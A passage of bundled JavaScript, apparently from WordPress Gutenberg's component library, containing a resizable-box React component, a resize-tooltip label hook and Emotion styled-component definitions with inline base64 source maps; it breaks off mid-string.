46686 return null;
46687 }
46688 return this.resizable.ownerDocument.defaultView;
46689 },
46690 enumerable: false,
46691 configurable: true
46692 });
46693 Object.defineProperty(Resizable2.prototype, "propsSize", {
46694 get: function() {
46695 return this.props.size || this.props.defaultSize || DEFAULT_SIZE;
46696 },
46697 enumerable: false,
46698 configurable: true
46699 });
46700 Object.defineProperty(Resizable2.prototype, "size", {
46701 get: function() {
46702 var width = 0;
46703 var height = 0;
46704 if (this.resizable && this.window) {
46705 var orgWidth = this.resizable.offsetWidth;
46706 var orgHeight = this.resizable.offsetHeight;
46707 var orgPosition = this.resizable.style.position;
46708 if (orgPosition !== "relative") {
46709 this.resizable.style.position = "relative";
46710 }
46711 width = this.resizable.style.width !== "auto" ? this.resizable.offsetWidth : orgWidth;
46712 height = this.resizable.style.height !== "auto" ? this.resizable.offsetHeight : orgHeight;
46713 this.resizable.style.position = orgPosition;
46714 }
46715 return { width, height };
46716 },
46717 enumerable: false,
46718 configurable: true
46719 });
46720 Object.defineProperty(Resizable2.prototype, "sizeStyle", {
46721 get: function() {
46722 var _this = this;
46723 var size3 = this.props.size;
46724 var getSize = function(key) {
46725 if (typeof _this.state[key] === "undefined" || _this.state[key] === "auto") {
46726 return "auto";
46727 }
46728 if (_this.propsSize && _this.propsSize[key] && endsWith(_this.propsSize[key].toString(), "%")) {
46729 if (endsWith(_this.state[key].toString(), "%")) {
46730 return _this.state[key].toString();
46731 }
46732 var parentSize = _this.getParentSize();
46733 var value = Number(_this.state[key].toString().replace("px", ""));
46734 var percent2 = value / parentSize[key] * 100;
46735 return percent2 + "%";
46736 }
46737 return getStringSize(_this.state[key]);
46738 };
46739 var width = size3 && typeof size3.width !== "undefined" && !this.state.isResizing ? getStringSize(size3.width) : getSize("width");
46740 var height = size3 && typeof size3.height !== "undefined" && !this.state.isResizing ? getStringSize(size3.height) : getSize("height");
46741 return { width, height };
46742 },
46743 enumerable: false,
46744 configurable: true
46745 });
46746 Resizable2.prototype.getParentSize = function() {
46747 if (!this.parentNode) {
46748 if (!this.window) {
46749 return { width: 0, height: 0 };
46750 }
46751 return { width: this.window.innerWidth, height: this.window.innerHeight };
46752 }
46753 var base = this.appendBase();
46754 if (!base) {
46755 return { width: 0, height: 0 };
46756 }
46757 var wrapChanged = false;
46758 var wrap = this.parentNode.style.flexWrap;
46759 if (wrap !== "wrap") {
46760 wrapChanged = true;
46761 this.parentNode.style.flexWrap = "wrap";
46762 }
46763 base.style.position = "relative";
46764 base.style.minWidth = "100%";
46765 var size3 = {
46766 width: base.offsetWidth,
46767 height: base.offsetHeight
46768 };
46769 if (wrapChanged) {
46770 this.parentNode.style.flexWrap = wrap;
46771 }
46772 this.removeBase(base);
46773 return size3;
46774 };
46775 Resizable2.prototype.bindEvents = function() {
46776 if (this.window) {
46777 this.window.addEventListener("mouseup", this.onMouseUp);
46778 this.window.addEventListener("mousemove", this.onMouseMove);
46779 this.window.addEventListener("mouseleave", this.onMouseUp);
46780 this.window.addEventListener("touchmove", this.onMouseMove, {
46781 capture: true,
46782 passive: false
46783 });
46784 this.window.addEventListener("touchend", this.onMouseUp);
46785 }
46786 };
46787 Resizable2.prototype.unbindEvents = function() {
46788 if (this.window) {
46789 this.window.removeEventListener("mouseup", this.onMouseUp);
46790 this.window.removeEventListener("mousemove", this.onMouseMove);
46791 this.window.removeEventListener("mouseleave", this.onMouseUp);
46792 this.window.removeEventListener("touchmove", this.onMouseMove, true);
46793 this.window.removeEventListener("touchend", this.onMouseUp);
46794 }
46795 };
46796 Resizable2.prototype.componentDidMount = function() {
46797 if (!this.resizable || !this.window) {
46798 return;
46799 }
46800 var computedStyle = this.window.getComputedStyle(this.resizable);
46801 this.setState({
46802 width: this.state.width || this.size.width,
46803 height: this.state.height || this.size.height,
46804 flexBasis: computedStyle.flexBasis !== "auto" ? computedStyle.flexBasis : void 0
46805 });
46806 };
46807 Resizable2.prototype.componentWillUnmount = function() {
46808 if (this.window) {
46809 this.unbindEvents();
46810 }
46811 };
46812 Resizable2.prototype.createSizeForCssProperty = function(newSize, kind) {
46813 var propsSize = this.propsSize && this.propsSize[kind];
46814 return this.state[kind] === "auto" && this.state.original[kind] === newSize && (typeof propsSize === "undefined" || propsSize === "auto") ? "auto" : newSize;
46815 };
46816 Resizable2.prototype.calculateNewMaxFromBoundary = function(maxWidth, maxHeight) {
46817 var boundsByDirection = this.props.boundsByDirection;
46818 var direction = this.state.direction;
46819 var widthByDirection = boundsByDirection && hasDirection("left", direction);
46820 var heightByDirection = boundsByDirection && hasDirection("top", direction);
46821 var boundWidth;
46822 var boundHeight;
46823 if (this.props.bounds === "parent") {
46824 var parent_1 = this.parentNode;
46825 if (parent_1) {
46826 boundWidth = widthByDirection ? this.resizableRight - this.parentLeft : parent_1.offsetWidth + (this.parentLeft - this.resizableLeft);
46827 boundHeight = heightByDirection ? this.resizableBottom - this.parentTop : parent_1.offsetHeight + (this.parentTop - this.resizableTop);
46828 }
46829 } else if (this.props.bounds === "window") {
46830 if (this.window) {
46831 boundWidth = widthByDirection ? this.resizableRight : this.window.innerWidth - this.resizableLeft;
46832 boundHeight = heightByDirection ? this.resizableBottom : this.window.innerHeight - this.resizableTop;
46833 }
46834 } else if (this.props.bounds) {
46835 boundWidth = widthByDirection ? this.resizableRight - this.targetLeft : this.props.bounds.offsetWidth + (this.targetLeft - this.resizableLeft);
46836 boundHeight = heightByDirection ? this.resizableBottom - this.targetTop : this.props.bounds.offsetHeight + (this.targetTop - this.resizableTop);
46837 }
46838 if (boundWidth && Number.isFinite(boundWidth)) {
46839 maxWidth = maxWidth && maxWidth < boundWidth ? maxWidth : boundWidth;
46840 }
46841 if (boundHeight && Number.isFinite(boundHeight)) {
46842 maxHeight = maxHeight && maxHeight < boundHeight ? maxHeight : boundHeight;
46843 }
46844 return { maxWidth, maxHeight };
46845 };
46846 Resizable2.prototype.calculateNewSizeFromDirection = function(clientX, clientY) {
46847 var scale2 = this.props.scale || 1;
46848 var resizeRatio = this.props.resizeRatio || 1;
46849 var _a = this.state, direction = _a.direction, original = _a.original;
46850 var _b = this.props, lockAspectRatio = _b.lockAspectRatio, lockAspectRatioExtraHeight = _b.lockAspectRatioExtraHeight, lockAspectRatioExtraWidth = _b.lockAspectRatioExtraWidth;
46851 var newWidth = original.width;
46852 var newHeight = original.height;
46853 var extraHeight = lockAspectRatioExtraHeight || 0;
46854 var extraWidth = lockAspectRatioExtraWidth || 0;
46855 if (hasDirection("right", direction)) {
46856 newWidth = original.width + (clientX - original.x) * resizeRatio / scale2;
46857 if (lockAspectRatio) {
46858 newHeight = (newWidth - extraWidth) / this.ratio + extraHeight;
46859 }
46860 }
46861 if (hasDirection("left", direction)) {
46862 newWidth = original.width - (clientX - original.x) * resizeRatio / scale2;
46863 if (lockAspectRatio) {
46864 newHeight = (newWidth - extraWidth) / this.ratio + extraHeight;
46865 }
46866 }
46867 if (hasDirection("bottom", direction)) {
46868 newHeight = original.height + (clientY - original.y) * resizeRatio / scale2;
46869 if (lockAspectRatio) {
46870 newWidth = (newHeight - extraHeight) * this.ratio + extraWidth;
46871 }
46872 }
46873 if (hasDirection("top", direction)) {
46874 newHeight = original.height - (clientY - original.y) * resizeRatio / scale2;
46875 if (lockAspectRatio) {
46876 newWidth = (newHeight - extraHeight) * this.ratio + extraWidth;
46877 }
46878 }
46879 return { newWidth, newHeight };
46880 };
46881 Resizable2.prototype.calculateNewSizeFromAspectRatio = function(newWidth, newHeight, max3, min3) {
46882 var _a = this.props, lockAspectRatio = _a.lockAspectRatio, lockAspectRatioExtraHeight = _a.lockAspectRatioExtraHeight, lockAspectRatioExtraWidth = _a.lockAspectRatioExtraWidth;
46883 var computedMinWidth = typeof min3.width === "undefined" ? 10 : min3.width;
46884 var computedMaxWidth = typeof max3.width === "undefined" || max3.width < 0 ? newWidth : max3.width;
46885 var computedMinHeight = typeof min3.height === "undefined" ? 10 : min3.height;
46886 var computedMaxHeight = typeof max3.height === "undefined" || max3.height < 0 ? newHeight : max3.height;
46887 var extraHeight = lockAspectRatioExtraHeight || 0;
46888 var extraWidth = lockAspectRatioExtraWidth || 0;
46889 if (lockAspectRatio) {
46890 var extraMinWidth = (computedMinHeight - extraHeight) * this.ratio + extraWidth;
46891 var extraMaxWidth = (computedMaxHeight - extraHeight) * this.ratio + extraWidth;
46892 var extraMinHeight = (computedMinWidth - extraWidth) / this.ratio + extraHeight;
46893 var extraMaxHeight = (computedMaxWidth - extraWidth) / this.ratio + extraHeight;
46894 var lockedMinWidth = Math.max(computedMinWidth, extraMinWidth);
46895 var lockedMaxWidth = Math.min(computedMaxWidth, extraMaxWidth);
46896 var lockedMinHeight = Math.max(computedMinHeight, extraMinHeight);
46897 var lockedMaxHeight = Math.min(computedMaxHeight, extraMaxHeight);
46898 newWidth = clamp5(newWidth, lockedMinWidth, lockedMaxWidth);
46899 newHeight = clamp5(newHeight, lockedMinHeight, lockedMaxHeight);
46900 } else {
46901 newWidth = clamp5(newWidth, computedMinWidth, computedMaxWidth);
46902 newHeight = clamp5(newHeight, computedMinHeight, computedMaxHeight);
46903 }
46904 return { newWidth, newHeight };
46905 };
46906 Resizable2.prototype.setBoundingClientRect = function() {
46907 if (this.props.bounds === "parent") {
46908 var parent_2 = this.parentNode;
46909 if (parent_2) {
46910 var parentRect = parent_2.getBoundingClientRect();
46911 this.parentLeft = parentRect.left;
46912 this.parentTop = parentRect.top;
46913 }
46914 }
46915 if (this.props.bounds && typeof this.props.bounds !== "string") {
46916 var targetRect = this.props.bounds.getBoundingClientRect();
46917 this.targetLeft = targetRect.left;
46918 this.targetTop = targetRect.top;
46919 }
46920 if (this.resizable) {
46921 var _a = this.resizable.getBoundingClientRect(), left = _a.left, top_1 = _a.top, right = _a.right, bottom = _a.bottom;
46922 this.resizableLeft = left;
46923 this.resizableRight = right;
46924 this.resizableTop = top_1;
46925 this.resizableBottom = bottom;
46926 }
46927 };
46928 Resizable2.prototype.onResizeStart = function(event, direction) {
46929 if (!this.resizable || !this.window) {
46930 return;
46931 }
46932 var clientX = 0;
46933 var clientY = 0;
46934 if (event.nativeEvent && isMouseEvent(event.nativeEvent)) {
46935 clientX = event.nativeEvent.clientX;
46936 clientY = event.nativeEvent.clientY;
46937 if (event.nativeEvent.which === 3) {
46938 return;
46939 }
46940 } else if (event.nativeEvent && isTouchEvent(event.nativeEvent)) {
46941 clientX = event.nativeEvent.touches[0].clientX;
46942 clientY = event.nativeEvent.touches[0].clientY;
46943 }
46944 if (this.props.onResizeStart) {
46945 if (this.resizable) {
46946 var startResize = this.props.onResizeStart(event, direction, this.resizable);
46947 if (startResize === false) {
46948 return;
46949 }
46950 }
46951 }
46952 if (this.props.size) {
46953 if (typeof this.props.size.height !== "undefined" && this.props.size.height !== this.state.height) {
46954 this.setState({ height: this.props.size.height });
46955 }
46956 if (typeof this.props.size.width !== "undefined" && this.props.size.width !== this.state.width) {
46957 this.setState({ width: this.props.size.width });
46958 }
46959 }
46960 this.ratio = typeof this.props.lockAspectRatio === "number" ? this.props.lockAspectRatio : this.size.width / this.size.height;
46961 var flexBasis;
46962 var computedStyle = this.window.getComputedStyle(this.resizable);
46963 if (computedStyle.flexBasis !== "auto") {
46964 var parent_3 = this.parentNode;
46965 if (parent_3) {
46966 var dir = this.window.getComputedStyle(parent_3).flexDirection;
46967 this.flexDir = dir.startsWith("row") ? "row" : "column";
46968 flexBasis = computedStyle.flexBasis;
46969 }
46970 }
46971 this.setBoundingClientRect();
46972 this.bindEvents();
46973 var state = {
46974 original: {
46975 x: clientX,
46976 y: clientY,
46977 width: this.size.width,
46978 height: this.size.height
46979 },
46980 isResizing: true,
46981 backgroundStyle: __assign3(__assign3({}, this.state.backgroundStyle), { cursor: this.window.getComputedStyle(event.target).cursor || "auto" }),
46982 direction,
46983 flexBasis
46984 };
46985 this.setState(state);
46986 };
46987 Resizable2.prototype.onMouseMove = function(event) {
46988 if (!this.state.isResizing || !this.resizable || !this.window) {
46989 return;
46990 }
46991 if (this.window.TouchEvent && isTouchEvent(event)) {
46992 try {
46993 event.preventDefault();
46994 event.stopPropagation();
46995 } catch (e3) {
46996 }
46997 }
46998 var _a = this.props, maxWidth = _a.maxWidth, maxHeight = _a.maxHeight, minWidth = _a.minWidth, minHeight = _a.minHeight;
46999 var clientX = isTouchEvent(event) ? event.touches[0].clientX : event.clientX;
47000 var clientY = isTouchEvent(event) ? event.touches[0].clientY : event.clientY;
47001 var _b = this.state, direction = _b.direction, original = _b.original, width = _b.width, height = _b.height;
47002 var parentSize = this.getParentSize();
47003 var max3 = calculateNewMax(parentSize, this.window.innerWidth, this.window.innerHeight, maxWidth, maxHeight, minWidth, minHeight);
47004 maxWidth = max3.maxWidth;
47005 maxHeight = max3.maxHeight;
47006 minWidth = max3.minWidth;
47007 minHeight = max3.minHeight;
47008 var _c = this.calculateNewSizeFromDirection(clientX, clientY), newHeight = _c.newHeight, newWidth = _c.newWidth;
47009 var boundaryMax = this.calculateNewMaxFromBoundary(maxWidth, maxHeight);
47010 var newSize = this.calculateNewSizeFromAspectRatio(newWidth, newHeight, { width: boundaryMax.maxWidth, height: boundaryMax.maxHeight }, { width: minWidth, height: minHeight });
47011 newWidth = newSize.newWidth;
47012 newHeight = newSize.newHeight;
47013 if (this.props.grid) {
47014 var newGridWidth = snap(newWidth, this.props.grid[0]);
47015 var newGridHeight = snap(newHeight, this.props.grid[1]);
47016 var gap = this.props.snapGap || 0;
47017 newWidth = gap === 0 || Math.abs(newGridWidth - newWidth) <= gap ? newGridWidth : newWidth;
47018 newHeight = gap === 0 || Math.abs(newGridHeight - newHeight) <= gap ? newGridHeight : newHeight;
47019 }
47020 if (this.props.snap && this.props.snap.x) {
47021 newWidth = findClosestSnap(newWidth, this.props.snap.x, this.props.snapGap);
47022 }
47023 if (this.props.snap && this.props.snap.y) {
47024 newHeight = findClosestSnap(newHeight, this.props.snap.y, this.props.snapGap);
47025 }
47026 var delta = {
47027 width: newWidth - original.width,
47028 height: newHeight - original.height
47029 };
47030 if (width && typeof width === "string") {
47031 if (endsWith(width, "%")) {
47032 var percent2 = newWidth / parentSize.width * 100;
47033 newWidth = percent2 + "%";
47034 } else if (endsWith(width, "vw")) {
47035 var vw2 = newWidth / this.window.innerWidth * 100;
47036 newWidth = vw2 + "vw";
47037 } else if (endsWith(width, "vh")) {
47038 var vh2 = newWidth / this.window.innerHeight * 100;
47039 newWidth = vh2 + "vh";
47040 }
47041 }
47042 if (height && typeof height === "string") {
47043 if (endsWith(height, "%")) {
47044 var percent2 = newHeight / parentSize.height * 100;
47045 newHeight = percent2 + "%";
47046 } else if (endsWith(height, "vw")) {
47047 var vw2 = newHeight / this.window.innerWidth * 100;
47048 newHeight = vw2 + "vw";
47049 } else if (endsWith(height, "vh")) {
47050 var vh2 = newHeight / this.window.innerHeight * 100;
47051 newHeight = vh2 + "vh";
47052 }
47053 }
47054 var newState = {
47055 width: this.createSizeForCssProperty(newWidth, "width"),
47056 height: this.createSizeForCssProperty(newHeight, "height")
47057 };
47058 if (this.flexDir === "row") {
47059 newState.flexBasis = newState.width;
47060 } else if (this.flexDir === "column") {
47061 newState.flexBasis = newState.height;
47062 }
47063 this.setState(newState);
47064 if (this.props.onResize) {
47065 this.props.onResize(event, direction, this.resizable, delta);
47066 }
47067 };
47068 Resizable2.prototype.onMouseUp = function(event) {
47069 var _a = this.state, isResizing = _a.isResizing, direction = _a.direction, original = _a.original;
47070 if (!isResizing || !this.resizable) {
47071 return;
47072 }
47073 var delta = {
47074 width: this.size.width - original.width,
47075 height: this.size.height - original.height
47076 };
47077 if (this.props.onResizeStop) {
47078 this.props.onResizeStop(event, direction, this.resizable, delta);
47079 }
47080 if (this.props.size) {
47081 this.setState(this.props.size);
47082 }
47083 this.unbindEvents();
47084 this.setState({
47085 isResizing: false,
47086 backgroundStyle: __assign3(__assign3({}, this.state.backgroundStyle), { cursor: "auto" })
47087 });
47088 };
47089 Resizable2.prototype.updateSize = function(size3) {
47090 this.setState({ width: size3.width, height: size3.height });
47091 };
47092 Resizable2.prototype.renderResizer = function() {
47093 var _this = this;
47094 var _a = this.props, enable = _a.enable, handleStyles = _a.handleStyles, handleClasses = _a.handleClasses, handleWrapperStyle = _a.handleWrapperStyle, handleWrapperClass = _a.handleWrapperClass, handleComponent = _a.handleComponent;
47095 if (!enable) {
47096 return null;
47097 }
47098 var resizers = Object.keys(enable).map(function(dir) {
47099 if (enable[dir] !== false) {
47100 return React13.createElement(Resizer, { key: dir, direction: dir, onResizeStart: _this.onResizeStart, replaceStyles: handleStyles && handleStyles[dir], className: handleClasses && handleClasses[dir] }, handleComponent && handleComponent[dir] ? handleComponent[dir] : null);
47101 }
47102 return null;
47103 });
47104 return React13.createElement("div", { className: handleWrapperClass, style: handleWrapperStyle }, resizers);
47105 };
47106 Resizable2.prototype.render = function() {
47107 var _this = this;
47108 var extendsProps = Object.keys(this.props).reduce(function(acc, key) {
47109 if (definedProps.indexOf(key) !== -1) {
47110 return acc;
47111 }
47112 acc[key] = _this.props[key];
47113 return acc;
47114 }, {});
47115 var style2 = __assign3(__assign3(__assign3({ position: "relative", userSelect: this.state.isResizing ? "none" : "auto" }, this.props.style), this.sizeStyle), { maxWidth: this.props.maxWidth, maxHeight: this.props.maxHeight, minWidth: this.props.minWidth, minHeight: this.props.minHeight, boxSizing: "border-box", flexShrink: 0 });
47116 if (this.state.flexBasis) {
47117 style2.flexBasis = this.state.flexBasis;
47118 }
47119 var Wrapper7 = this.props.as || "div";
47120 return React13.createElement(
47121 Wrapper7,
47122 __assign3({ ref: this.ref, style: style2, className: this.props.className }, extendsProps),
47123 this.state.isResizing && React13.createElement("div", { style: this.state.backgroundStyle }),
47124 this.props.children,
47125 this.renderResizer()
47126 );
47127 };
47128 Resizable2.defaultProps = {
47129 as: "div",
47130 onResizeStart: function() {
47131 },
47132 onResize: function() {
47133 },
47134 onResizeStop: function() {
47135 },
47136 enable: {
47137 top: true,
47138 right: true,
47139 bottom: true,
47140 left: true,
47141 topRight: true,
47142 bottomRight: true,
47143 bottomLeft: true,
47144 topLeft: true
47145 },
47146 style: {},
47147 grid: [1, 1],
47148 lockAspectRatio: false,
47149 lockAspectRatioExtraWidth: 0,
47150 lockAspectRatioExtraHeight: 0,
47151 scale: 1,
47152 resizeRatio: 1,
47153 snapGap: 0
47154 };
47155 return Resizable2;
47156 })(React13.PureComponent)
47157 );
47158
47159 // packages/components/build-module/resizable-box/resize-tooltip/index.mjs
47160 var import_element186 = __toESM(require_element(), 1);
47161
47162 // packages/components/build-module/resizable-box/resize-tooltip/label.mjs
47163 var import_element185 = __toESM(require_element(), 1);
47164 var import_i18n74 = __toESM(require_i18n(), 1);
47165
47166 // packages/components/build-module/resizable-box/resize-tooltip/utils.mjs
47167 var import_element184 = __toESM(require_element(), 1);
47168 var import_compose68 = __toESM(require_compose(), 1);
47169 var noop23 = () => {
47170 };
47171 var POSITIONS = {
47172 bottom: "bottom",
47173 corner: "corner"
47174 };
47175 function useResizeLabel({
47176 axis,
47177 fadeTimeout = 180,
47178 onResize = noop23,
47179 position: position2 = POSITIONS.bottom,
47180 showPx = false
47181 }) {
47182 const [resizeListener, sizes] = (0, import_compose68.useResizeObserver)();
47183 const isAxisControlled = !!axis;
47184 const [moveX, setMoveX] = (0, import_element184.useState)(false);
47185 const [moveY, setMoveY] = (0, import_element184.useState)(false);
47186 const {
47187 width,
47188 height
47189 } = sizes;
47190 const heightRef = (0, import_element184.useRef)(height);
47191 const widthRef = (0, import_element184.useRef)(width);
47192 const moveTimeoutRef = (0, import_element184.useRef)(void 0);
47193 const debounceUnsetMoveXY = (0, import_element184.useCallback)(() => {
47194 const unsetMoveXY = () => {
47195 if (isAxisControlled) {
47196 return;
47197 }
47198 setMoveX(false);
47199 setMoveY(false);
47200 };
47201 if (moveTimeoutRef.current) {
47202 window.clearTimeout(moveTimeoutRef.current);
47203 }
47204 moveTimeoutRef.current = window.setTimeout(unsetMoveXY, fadeTimeout);
47205 }, [fadeTimeout, isAxisControlled]);
47206 (0, import_element184.useEffect)(() => {
47207 const isRendered = width !== null || height !== null;
47208 if (!isRendered) {
47209 return;
47210 }
47211 const didWidthChange = width !== widthRef.current;
47212 const didHeightChange = height !== heightRef.current;
47213 if (!didWidthChange && !didHeightChange) {
47214 return;
47215 }
47216 if (width && !widthRef.current && height && !heightRef.current) {
47217 widthRef.current = width;
47218 heightRef.current = height;
47219 return;
47220 }
47221 if (didWidthChange) {
47222 setMoveX(true);
47223 widthRef.current = width;
47224 }
47225 if (didHeightChange) {
47226 setMoveY(true);
47227 heightRef.current = height;
47228 }
47229 onResize({
47230 width,
47231 height
47232 });
47233 debounceUnsetMoveXY();
47234 }, [width, height, onResize, debounceUnsetMoveXY]);
47235 const label = getSizeLabel({
47236 axis,
47237 height,
47238 moveX,
47239 moveY,
47240 position: position2,
47241 showPx,
47242 width
47243 });
47244 return {
47245 label,
47246 resizeListener
47247 };
47248 }
47249 function getSizeLabel({
47250 axis,
47251 height,
47252 moveX = false,
47253 moveY = false,
47254 position: position2 = POSITIONS.bottom,
47255 showPx = false,
47256 width
47257 }) {
47258 if (!moveX && !moveY) {
47259 return void 0;
47260 }
47261 if (position2 === POSITIONS.corner) {
47262 return `${width} x ${height}`;
47263 }
47264 const labelUnit = showPx ? " px" : "";
47265 if (axis) {
47266 if (axis === "x" && moveX) {
47267 return `${width}${labelUnit}`;
47268 }
47269 if (axis === "y" && moveY) {
47270 return `${height}${labelUnit}`;
47271 }
47272 }
47273 if (moveX && moveY) {
47274 return `${width} x ${height}`;
47275 }
47276 if (moveX) {
47277 return `${width}${labelUnit}`;
47278 }
47279 if (moveY) {
47280 return `${height}${labelUnit}`;
47281 }
47282 return void 0;
47283 }
47284
47285 // packages/components/build-module/resizable-box/resize-tooltip/styles/resize-tooltip.styles.mjs
47286 function _EMOTION_STRINGIFIED_CSS_ERROR__38() {
47287 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
47288 }
47289 var Root4 = /* @__PURE__ */ createStyled("div", false ? {
47290 target: "e1wq7y4k3"
47291 } : {
47292 target: "e1wq7y4k3",
47293 label: "Root"
47294 })(false ? {
47295 name: "1cd7zoc",
47296 styles: "bottom:0;box-sizing:border-box;left:0;pointer-events:none;position:absolute;right:0;top:0"
47297 } : {
47298 name: "1cd7zoc",
47299 styles: "bottom:0;box-sizing:border-box;left:0;pointer-events:none;position:absolute;right:0;top:0/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFXOEIiLCJmaWxlIjoicmVzaXplLXRvb2x0aXAuc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBmb250LCBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uLy4uLy4uL3V0aWxzJztcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2YFxuXHRib3R0b206IDA7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdG9wYWNpdHk6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHR0cmFuc2l0aW9uOiBvcGFjaXR5IDEyMG1zIGxpbmVhcjtcbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kSW52ZXJ0ZWQgfTtcblx0cGFkZGluZzogNHB4IDhweDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuYDtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgTGFiZWxUZXh0ID0gc3R5bGVkKCBUZXh0IClgXG5cdCYmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kSW52ZXJ0ZWQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LXNpemU6IDEzcHg7XG5cdFx0bGluZS1oZWlnaHQ6IDEuNDtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHR9XG5gO1xuIl19 */",
47300 toString: _EMOTION_STRINGIFIED_CSS_ERROR__38
47301 });
47302 var TooltipWrapper = /* @__PURE__ */ createStyled("div", false ? {
47303 target: "e1wq7y4k2"
47304 } : {
47305 target: "e1wq7y4k2",
47306 label: "TooltipWrapper"
47307 })(false ? {
47308 name: "ajymcs",
47309 styles: "align-items:center;box-sizing:border-box;display:inline-flex;justify-content:center;opacity:0;pointer-events:none;transition:opacity 120ms linear"
47310 } : {
47311 name: "ajymcs",
47312 styles: "align-items:center;box-sizing:border-box;display:inline-flex;justify-content:center;opacity:0;pointer-events:none;transition:opacity 120ms linear/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQndDIiwiZmlsZSI6InJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgZm9udCwgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLmRpdmBcblx0Ym90dG9tOiAwO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRsZWZ0OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRyaWdodDogMDtcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2x0aXBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRvcGFjaXR5OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMjBtcyBsaW5lYXI7XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRmb250LXNpemU6IDEycHg7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IExhYmVsVGV4dCA9IHN